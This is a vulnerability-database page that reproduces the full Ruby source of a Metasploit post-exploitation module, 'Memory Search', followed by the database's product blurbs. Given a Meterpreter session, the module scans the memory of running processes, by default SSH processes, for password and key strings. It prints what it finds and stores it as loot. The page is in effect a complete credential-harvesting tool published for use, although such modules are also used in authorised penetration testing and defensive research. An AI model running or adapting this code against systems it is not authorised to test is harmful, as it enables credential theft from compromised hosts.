Lucene search
K

Memory Search

🗓️ 23 Jan 2024 19:49:37Reported by sjanusz-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 145 Views

Module for searching memory space of running processes for sensitive data like password

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Memory Search',
        'Description' => %q{
          This module allows for searching the memory space of running processes for
          potentially sensitive data such as passwords.
        },
        'License' => MSF_LICENSE,
        'Author' => %w[sjanusz-r7],
        'SessionTypes' => %w[meterpreter],
        'Platform' => %w[linux unix osx windows],
        'Arch' => [ARCH_X86, ARCH_X64],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_process_memory_search
              stdapi_sys_process_get_processes
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        ::Msf::OptString.new('PROCESS_NAMES_GLOB', [false, 'Glob used to target processes', 'ssh*']),
        ::Msf::OptString.new('PROCESS_IDS', [false, 'Comma delimited process ID/IDs to search through']),
        ::Msf::OptString.new('REGEX', [true, 'Regular expression to search for within memory', 'publickey,password.*']),
        ::Msf::OptInt.new('MIN_MATCH_LEN', [true, 'The minimum number of bytes to match', 5]),
        ::Msf::OptInt.new('MAX_MATCH_LEN', [true, 'The maximum number of bytes to match', 127]),
        ::Msf::OptBool.new('REPLACE_NON_PRINTABLE_BYTES', [false, 'Replace non-printable bytes with "."', true]),
        ::Msf::OptBool.new('SAVE_LOOT', [false, 'Save the memory matches to loot', true])
      ]
    )
  end

  def process_names_glob
    datastore['PROCESS_NAMES_GLOB']
  end

  def process_ids
    datastore['PROCESS_IDS']
  end

  def regex
    datastore['REGEX']
  end

  def min_match_len
    datastore['MIN_MATCH_LEN']
  end

  def max_match_len
    datastore['MAX_MATCH_LEN']
  end

  def replace_non_printable_bytes?
    datastore['REPLACE_NON_PRINTABLE_BYTES']
  end

  def save_loot?
    datastore['SAVE_LOOT']
  end

  ARCH_MAP =
    {
      'i686' => ARCH_X86,
      'x86' => ARCH_X86,
      'x64' => ARCH_X64,
      'x86_64' => ARCH_X64
    }.freeze

  def get_target_processes
    raw_target_pids = process_ids || ''
    target_pids = raw_target_pids.split(',').map(&:to_i)
    target_processes = []

    session_processes = session.sys.process.get_processes
    process_table = session_processes.to_table
    process_table.columns.unshift 'Matched?'

    process_table.colprops.unshift(
      {
        'Formatters' => [],
        'Stylers' => [::Msf::Ui::Console::TablePrint::CustomColorStyler.new('true' => '%grn', 'false' => '%red')],
        'ColumnStylers' => []
      }
    )

    process_table.sort_index += 1

    session_processes.each.with_index do |session_process, index|
      pid, _ppid, name, _path, _session, _user, _arch = *session_process.values

      if target_pids.include?(pid) || ::File.fnmatch(process_names_glob || '', name, ::File::FNM_EXTGLOB)
        target_processes.append session_process
        process_table.rows[index].unshift 'true'
      else
        process_table.rows[index].unshift 'false'
      end
    end

    vprint_status(process_table.to_s)
    target_processes
  end

  def run_against_multiple_processes(processes: [])
    results = []

    processes.each do |process|
      response = nil
      status = nil

      begin
        response = session.sys.process.memory_search(
          pid: process['pid'],
          needles: [regex],
          min_match_length: min_match_len,
          max_match_length: max_match_len
        )
        status = :success
      rescue ::Rex::Post::Meterpreter::RequestError => e
        response = e
        status = :failure
      end

      results.append({ process: process, status: status, response: response })
    end

    results
  end

  def print_result(result: nil)
    return unless result

    process_info = "#{result[:process]['name']} (pid: #{result[:process]['pid']})"
    unless result[:status] == :success
      warning_message = "Memory search request for #{process_info} failed. Return code: #{result[:response]}"
      if result[:process]['arch'].empty? || result[:process]['path'].empty?
        warning_message << "\n    Potential reasons:"
        warning_message << "\n\tInsufficient permissions."
      end
      print_warning warning_message
      return
    end

    result_group_tlvs = result[:response].get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS)
    if result_group_tlvs.empty?
      match_not_found_msg = "No regular expression matches were found in memory for #{process_info}."
      normalised_process_arch = ARCH_MAP[result[:process]['arch']] || result[:process]['arch']

      potential_failure_reasons = []

      if session.arch != normalised_process_arch
        potential_failure_reasons.append "Architecture mismatch (session: #{session.arch}) (process: #{normalised_process_arch})"
      end

      if potential_failure_reasons.any?
        match_not_found_msg << "\n    Potential reasons:"
        potential_failure_reasons.each { |potential_reason| match_not_found_msg << "\n\t#{potential_reason}" }
      end

      print_status match_not_found_msg
      return
    end

    results_table = ::Rex::Text::Table.new(
      'Header' => "Memory Matches for #{process_info}",
      'Indent' => 1,
      'Columns' => ['Match Address', 'Match Length', 'Match Buffer', 'Memory Region Start', 'Memory Region Size']
    )

    address_length = session.native_arch == ARCH_X64 ? 16 : 8
    result_group_tlvs.each do |result_group_tlv|
      match_address = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR).value.to_s(16).upcase
      match_buffer = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR).value
      # Mettle doesn't return this TLV. We can get the match length from the buffer instead.
      match_length = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_LEN)&.value
      match_length ||= match_buffer.bytesize
      region_start_address = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_START_ADDR).value.to_s(16).upcase
      region_start_size = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_SECT_LEN).value.to_s(16).upcase

      if replace_non_printable_bytes?
        match_buffer = match_buffer.bytes.map { |byte| /[[:print:]]/.match?(byte.chr) ? byte.chr : '.' }.join
      end

      results_table << [
        "0x#{match_address.rjust(address_length, '0')}",
        match_length,
        match_buffer.inspect,
        "0x#{region_start_address.rjust(address_length, '0')}",
        "0x#{region_start_size.rjust(address_length, '0')}"
      ]
    end

    print_status results_table.to_s
  end

  def save_loot(results: [])
    return if results.empty?

    # Each result has a single response, which contains zero or more group tlv's.
    results.each do |result|
      # We don't want to save results that failed
      next unless result[:status] == :success

      group_tlvs = result[:response].get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS)
      next if group_tlvs.empty?

      group_tlvs.each do |group_tlv|
        match = group_tlv.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR)
        next unless match

        stored_loot = store_loot(
          'memory.dmp',
          'bin',
          session,
          match,
          "memory_search_#{result[:process]['name']}.bin",
          'Process Raw Memory Buffer'
        )
        vprint_good("Loot stored to: #{stored_loot}")
      end
    end
  end

  def run
    if session.type != 'meterpreter'
      print_error 'Only Meterpreter sessions are supported by this post module'
      return
    end

    if process_ids && !process_ids.match?(/^(\s*\d(\s*,\s*\d+\s*)*)*$/)
      print_error 'PROCESS_IDS is not a comma-separated list of integers'
      return
    end

    print_status "Running module against - #{session.info} (#{session.session_host}). This might take a few seconds..."

    print_status 'Getting target processes...'
    target_processes = get_target_processes
    if target_processes.empty?
      print_warning 'No target processes found.'
      return
    end

    target_processes_message = "Running against the following processes:\n"
    target_processes.each do |target_process|
      target_processes_message << "\t#{target_process['name']} (pid: #{target_process['pid']})\n"
    end

    print_status target_processes_message
    processes_results = run_against_multiple_processes(processes: target_processes)
    processes_results.each { |process_result| print_result(result: process_result) }

    save_loot(results: processes_results) if save_loot?
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation